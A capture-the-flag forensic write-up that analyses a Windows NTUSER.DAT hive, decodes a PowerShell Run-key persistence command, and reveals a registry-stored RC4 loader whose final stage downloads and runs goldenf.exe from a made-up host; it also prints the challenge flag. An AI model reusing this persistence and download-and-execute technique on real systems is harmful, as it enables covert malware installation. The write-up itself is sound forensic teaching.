HTB Cyber Apocalypse 2022 – Golden Persistence (Forensic)


@h1riluk

This challenge is categorized under the Forensic section. This challenge gives us a zip file that contains NTUSER.DAT. You can download the zip file here.

So what is NTUSER.DAT?

NTUSER.DAT is a windows generated file that contains the information of the user account settings and customizations. The data in DAT files can be plain or in binary format. Each user will have their own NTUSER.DAT file in their user’s profile. This file will be hidden by Microsoft because they don’t want users to interact with this file. The NTUSER.DAT file ensures that any changes you make in your user account are saved and loaded when you sign in back again.

source: https://appuals.com/ntuser-dat-file-explained/

As stated above, this file contains user account settings and customizations. Changes such as background change or default printer change will be recorded for the next time it loads.

Every time you sign in or turn on the laptop/PC, the NTUSER.DAT will be loaded to the Registry hive. To be precise it will be loaded to the Registry hive called HKEY_CURRENT_USER. Every change made while logged in will be recorded into the Registry hive. When processes such as sign out or shut down running, the Registry hive HKEY_CURRENT_USER will then be stored in NTUSER.DAT for later use.

So what can we do with NTUSER.DAT provided in this challenge? We can retrieve configurations, list applications, and other user preferences stored in it. Several tools can be used to see what is inside an NTUSER.DAT. One of them is Regripper. Using this tool, we can extract important Registry key nodes within the hive file into something that is readable and can be examined.

After installing the Regripper, we can try to see what is inside the NTUSER.DAT provided in this challenge. You can follow this guide from this page for installation. The link also provided a simple script to extract all available information using all plugins and save it to the case1.txt file.

for i in $( rip -l -c | grep NTUSER.DAT | cut -d , -f1 ); do rip -p $i -r NTUSER.DAT &>> case1.txt ; done

After running the command above, we will have a file name case1.txt. Try to look around and find what is inside the case1.txt.

...
Launching user_run v.20130425
user_run v.20130425
(NTUSER.DAT) [Autostart] Get autostart key contents from NTUSER.DAT hive

Software\Microsoft\Windows\CurrentVersion\Run
LastWrite Time Mon Apr 11 15:22:44 2022 (UTC)
  MicrosoftEdgeAutoLaunch_DD24A963A954FE25E19A66613DE0BF01: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
  Vh0F75DQu: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc ZgB1A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AAIAAgACAAIAAgACQAagAgAD0AIAAoACQAagAgACsAIAAkAHMAWwAkAGkAXQAgACsAIAAkAGsAWwAkAGkAXQApACAAJQAgADIANQA2ADsACgAgACAAIAAgACAAIAAgACAAJAB0AGUAbQBwACAAPQAgACQAcwBbACQAaQBdADsACgAgACAAIAAgACAAIAAgACAAJABzAFsAJABpAF0AIAA9ACAAJABzAFsAJABqAF0AOwAKACAAIAAgACAAIAAgACAAIAAkAHMAWwAkAGoAXQAgAD0AIAAkAHQAZQBtAHAAOwAKACAAIAAgACAAfQAKACAACgAgACAAIAAgACQAaQAgAD0AIAAkAGoAIAA9ACAAMAA7AAoAIAAgACAAIABmAG8AcgAgACgAJAB4ACAAPQAgADAAOwAgACQAeAAgAC0AbAB0ACAAJABiAHUAZgBmAGUAcgAuAEwAZQBuAGcAdABoADsAIAAkAHgAKwArACkACgAgACAAIAAgAHsACgAgACAAIAAgACAAIAAgACAAJABpACAAPQAgACgAJABpACAAKwAgADEAKQAgACUAIAAyADUANgA7AAoAIAAgACAAIAAgACAAIAAgACQAagAgAD0AIAAoACQAagAgACsAIAAkAHMAWwAkAGkAXQApACAAJQAgADIANQA2ADsACgAgACAAIAAgACAAIAAgACAAJAB0AGUAbQBwACAAPQAgACQAcwBbACQAaQBdADsACgAgACAAIAAgACAAIAAgACAAJABzAFsAJABpAF0AIAA9ACAAJABzAFsAJABqAF0AOwAKACAAIAAgACAAIAAgACAAIAAkAHMAWwAkAGoAXQAgAD0AIAAkAHQAZQBtAHAAOwAKACAAIAAgACAAIAAgACAAIABbAGkAbgB0AF0AJAB0ACAAPQAgACgAJABzAFsAJABpAF0AIAArACAAJABzAFsAJABqAF0AKQAgACUAIAAyADUANgA7AAoAIAAgACAAIAAgACAAIAAgACQAYgB1AGYAZgBlAHIAWwAkAHgAXQAgAD0AIAAkAGIAdQBmAGYAZQByAFsAJAB4AF0AIAAtAGIAeABvAHIAIAAkAHMAWwAkAHQAXQA7AAoAIAAgACAAIAB9AAoAIAAKAC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ZAAgAD0AIAAiACQAKAAkAGUAbgBjAHIAeQBwAHQAZQBkADEAKQAkACgAJABlAG4AYwByAHkAcAB0AGUAZAAyACkAJAAoACQAZQBuAGMAcgB5AHAAdABlAGQAMwApACQAKAAkAGUAbgBjAHIAeQBwAHQAZQBkADQAKQAkACgAJABlAG4AYwByAHkAcAB0AGUAZAA1ACkAIgAKACQAZQBuAGMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAAoAWwBCAHkAdABlAFsAXQBdACQAZABhAHQAYQAgAD0AIABIAGUAeABUAG8AQgBpAG4AIAAkAGUAbgBjAHIAeQBwAHQAZQBkAAoAJABEAGUAYwByAHkAcAB0AGUAZABCAHkAdABlAHMAIAA9ACAAZQBuAGMAcgAgACQAZABhAHQAYQAgACQAawBlAHkACgAkAEQAZQBjAHIAeQBwAHQAZQBkAFMAdAByAGkAbgBnACAAPQAgACQAZQBuAGMALgBHAGUAdABTAHQAcgBpAG4AZwAoACQARABlAGMAcgB5AHAAdABlAGQAQgB5AHQAZQBzACkACgAkAEQAZQBjAHIAeQBwAHQAZQBkAFMAdAByAGkAbgBnAHwAaQBlAHgA
  OneDrive: "C:\Users\greth\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background

...

One part that is interesting from the case1.txt, is the line where powershell.exe is called with parameter enc and a long string ZgB1AG4AYwB0AGkAbwBuACAAZQBuAGMAcgAgAHsACgAgACAA… as you can see above.

This long line string is UTF-16LE encoding that is encoded into Base64. You can use online tools to decode the string. After the string is decoded, you will find out that the string is actually an obfuscated code.

function encr {
    param(
        [Byte[]]$data,
        [Byte[]]$key
      )
 
    [Byte[]]$buffer = New-Object Byte[] $data.Length
    $data.CopyTo($buffer, 0)
    
    [Byte[]]$s = New-Object Byte[] 256;
    [Byte[]]$k = New-Object Byte[] 256;
 
    for ($i = 0; $i -lt 256; $i++)
    {
        $s[$i] = [Byte]$i;
        $k[$i] = $key[$i % $key.Length];
    }
 
    $j = 0;
    for ($i = 0; $i -lt 256; $i++)
    {
        $j = ($j + $s[$i] + $k[$i]) % 256;
        $temp = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $temp;
    }
 
    $i = $j = 0;
    for ($x = 0; $x -lt $buffer.Length; $x++)
    {
        $i = ($i + 1) % 256;
        $j = ($j + $s[$i]) % 256;
        $temp = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $temp;
        [int]$t = ($s[$i] + $s[$j]) % 256;
        $buffer[$x] = $buffer[$x] -bxor $s[$t];
    }
 
    return $buffer
}


function HexToBin {
    param(
    [Parameter(
        Position=0, 
        Mandatory=$true, 
        ValueFromPipeline=$true)
    ]   
    [string]$s)
    $return = @()
    
    for ($i = 0; $i -lt $s.Length ; $i += 2)
    {
        $return += [Byte]::Parse($s.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber)
    }
    
    Write-Output $return
}

[Byte[]]$key = $enc.GetBytes("Q0mmpr4B5rvZi3pS")
$encrypted1 = (Get-ItemProperty -Path HKCU:\SOFTWARE\ZYb78P4s).t3RBka5tL
$encrypted2 = (Get-ItemProperty -Path HKCU:\SOFTWARE\BjqAtIen).uLltjjW
$encrypted3 = (Get-ItemProperty -Path HKCU:\SOFTWARE\AppDataLow\t03A1Stq).uY4S39Da
$encrypted4 = (Get-ItemProperty -Path HKCU:\SOFTWARE\Google\Nv50zeG).Kb19fyhl
$encrypted5 = (Get-ItemProperty -Path HKCU:\AppEvents\Jx66ZG0O).jH54NW8C
$encrypted = "$($encrypted1)$($encrypted2)$($encrypted3)$($encrypted4)$($encrypted5)"
$enc = [System.Text.Encoding]::ASCII
[Byte[]]$data = HexToBin $encrypted
$DecryptedBytes = encr $data $key
$DecryptedString = $enc.GetString($DecryptedBytes)
$DecryptedString|iex

In the code retrieved from the encoded string, we can see that there are 2 function declarations (encr and HexToBin) and the main function at the end of the code. The line “[Byte[]]$key = $enc.GetBytes(“Q0mmpr4B5rvZi3pS”)” convert the string “Q0mmpr4B5rvZi3pS” into an array of bytes and stored it in the key variable.

The next lines are worth noting. There are 5 variables with the prefix name “encrypted” followed by a number according to their order of declaration. Each variable retrieves a subkey from the HKEY_CURRENT_USER hive by calling Get-ItemProperty and then access the Value Data by calling its respective Value Name.

$encrypted1 = (Get-ItemProperty -Path HKCU:\SOFTWARE\ZYb78P4s).t3RBka5tL
$encrypted2 = (Get-ItemProperty -Path HKCU:\SOFTWARE\BjqAtIen).uLltjjW
$encrypted3 = (Get-ItemProperty -Path HKCU:\SOFTWARE\AppDataLow\t03A1Stq).uY4S39Da
$encrypted4 = (Get-ItemProperty -Path HKCU:\SOFTWARE\Google\Nv50zeG).Kb19fyhl
$encrypted5 = (Get-ItemProperty -Path HKCU:\AppEvents\Jx66ZG0O).jH54NW8C

All 5 variables are then consecutively concatenated into one variable called “encrypted“.

$encrypted = "$($encrypted1)$($encrypted2)$($encrypted3)$($encrypted4)$($encrypted5)"

The value in the variable encrypted is then passed into function encr together with the variable key that’s declared in the beginning.

$DecryptedBytes = encr $data $key

The result is then decoded into an ASCII string and pipped to be invoked using iex (Invoke-Expression).

$DecryptedString = $enc.GetString($DecryptedBytes)
$DecryptedString|iex

We already know the process, but some values are missing. These missing values exist in the Registry hive. According to the documentation, Regripper is not a Registry Viewer. Hence, it can’t be used to view the value data we need to complete the code. The tool that is going to be needed is a Registry Viewer. An example of a registry viewer is Registry Explorer. Using Registry Explorer, we can load the NTUSER.DAT hive.

First, we are going to retrieve the value data of t3RBka5tL in subkey HKCU:\SOFTWARE\ZYb78P4s.

Since NTUSER.DAT is a hive for HKEY_CURRENT_USER, the loaded hive will only consist of subkeys in HKEY_CURRENT_USER. The image above shows the value data of value name t3RBka5tL in HKCU:\SOFTWARE\ZYb78P4s subkey. The value of t3RBka5tL is:

F844A6035CF27CC4C90DFEAF579398BE6F7D5ED10270BD12A661DAD04191347559B82ED546015B07317000D8909939A4DA7953AED8B83C0FEE4EB6E120372F536BC5DC39

The value data of uLltjjW in HKCU:\SOFTWARE\BjqAtIen subkey is:

CC19F66A5F3B2E36C9B810FE7CC4D9CE342E8E00138A4F7F5CDD9EED9E09299DD7C6933CF4734E12A906FD9CE1CA57D445DB9CABF850529F5845083F34BA1

The value data of uY4S39Da in HKCU:\SOFTWARE\AppDataLow\t03A1Stq subkey is:

C08114AA67EB979D36DC3EFA0F62086B947F672BD8F966305A98EF93AA39076C3726B0EDEBFA10811A15F1CF1BEFC78AFC5E08AD8CACDB323F44B4D

The value data of Kb19fyhl in HKCU:\SOFTWARE\Google\Nv50zeG subkey is:

D814EB4E244A153AF8FAA1121A5CCFD0FEAC8DD96A9B31CCF6C3E3E03C1E93626DF5B3E0B141467116CC08F92147F7A0BE0D95B0172A7F34922D6C236BC7DE54D8ACBFA70D1

The value data of jH54NW8C in HKCU:\AppEvents\Jx66ZG0O subkey is:

84AB553E67C743BE696A0AC80C16E2B354C2AE7918EE08A0A3887875C83E44ACA7393F1C579EE41BCB7D336CAF8695266839907F47775F89C1F170562A6B0A01C0F3BC4CB

With all these values, now we can complete the code execution. You can use the code that is retrieved from the base64 encoded string by changing the last line to Write-Host $DecryptedString instead of passing it to be invoked. Change each value obtained from the Registry to its respective variable. Rather than using the previously obtained code, I am rewriting the code to Python for my own understanding of the code (probably not necessary at all).

from numpy import array

def hexToBin(strng):
    idx = 0
    while idx < len(strng):
        # print()
        bytes_arr.append(int.from_bytes(bytes.fromhex(strng[idx:idx+2]), byteorder="big"))
        idx += 2

def encr(data, key):
    buffer = array(data)
    arr_k = []

    for i in range(256):
        arr_k.append(0)

    arr_s = []

    for i in range(256):
        arr_s.append(0)

    for i in range(256):
        arr_s[i] = i
        arr_k[i] = (key[i % len(key)])

    j = 0

    for i in range(256):
        # print(i)
        j = (j + arr_s[i] + arr_k[i]) % (256)
        temp = arr_s[i]
        arr_s[i] = arr_s[j]
        arr_s[j] = temp

    print((arr_s))
    print((arr_k))

    i, j = 0, 0

    for x in range(len(data)):
        i = (i + (1)) % (256)
        j = (j + arr_s[i]) % (256)
        temp = arr_s[i]
        arr_s[i] = arr_s[j]
        arr_s[j] = temp
        t = (arr_s[i] + arr_s[j]) % (256)
        temp2 = buffer[x] ^ arr_s[t]
        buffer[x] = temp2

    return buffer

key = bytes("Q0mmpr4B5rvZi3pS", "utf-8")

encrypted1 = "F844A6035CF27CC4C90DFEAF579398BE6F7D5ED10270BD12A661DAD04191347559B82ED546015B07317000D8909939A4DA7953AED8B83C0FEE4EB6E120372F536BC5DC39"
encrypted2 = "CC19F66A5F3B2E36C9B810FE7CC4D9CE342E8E00138A4F7F5CDD9EED9E09299DD7C6933CF4734E12A906FD9CE1CA57D445DB9CABF850529F5845083F34BA1"
encrypted3 = "C08114AA67EB979D36DC3EFA0F62086B947F672BD8F966305A98EF93AA39076C3726B0EDEBFA10811A15F1CF1BEFC78AFC5E08AD8CACDB323F44B4D"
encrypted4 = "D814EB4E244A153AF8FAA1121A5CCFD0FEAC8DD96A9B31CCF6C3E3E03C1E93626DF5B3E0B141467116CC08F92147F7A0BE0D95B0172A7F34922D6C236BC7DE54D8ACBFA70D1"
encrypted5 = "84AB553E67C743BE696A0AC80C16E2B354C2AE7918EE08A0A3887875C83E44ACA7393F1C579EE41BCB7D336CAF8695266839907F47775F89C1F170562A6B0A01C0F3BC4CB"

encrypted = encrypted1 + encrypted2 + encrypted3 + encrypted4 + encrypted5

bytes_arr = []
hexToBin(encrypted)
decoded = encr(bytes_arr, key)

for i in decoded:
    print(chr(i), end="")

After running the code above we will have an output similar to this:

$path ="C:\ProgramData\windows\goldenf.exe";$exists = Test-Path -Path $path -PathType Leaf;if ( $exists ){Start-Process $path}else{mkdir "C:\ProgramData\windows";Invoke-WebRequest -Uri https://thoccarthmercenaries.edu.tho/wp-content/goldenf.exe -OutFile $path;$flag="HTB{g0ld3n_F4ng_1s_n0t_st34lthy_3n0ugh}";Start-Process $path}

Here is the better output:

$path ="C:\ProgramData\windows\goldenf.exe";
$exists = Test-Path -Path $path -PathType Leaf;
if ( $exists ){
    Start-Process $path
}
else{
    mkdir "C:\ProgramData\windows";
    Invoke-WebRequest -Uri https://thoccarthmercenaries.edu.tho/wp-content/goldenf.exe -OutFile $path;
    $flag="HTB{g0ld3n_F4ng_1s_n0t_st34lthy_3n0ugh}";
    Start-Process $path
}

And as you can see, the flag is included in the output. The flag is HTB{g0ld3n_F4ng_1s_n0t_st34lthy_3n0ugh}.

,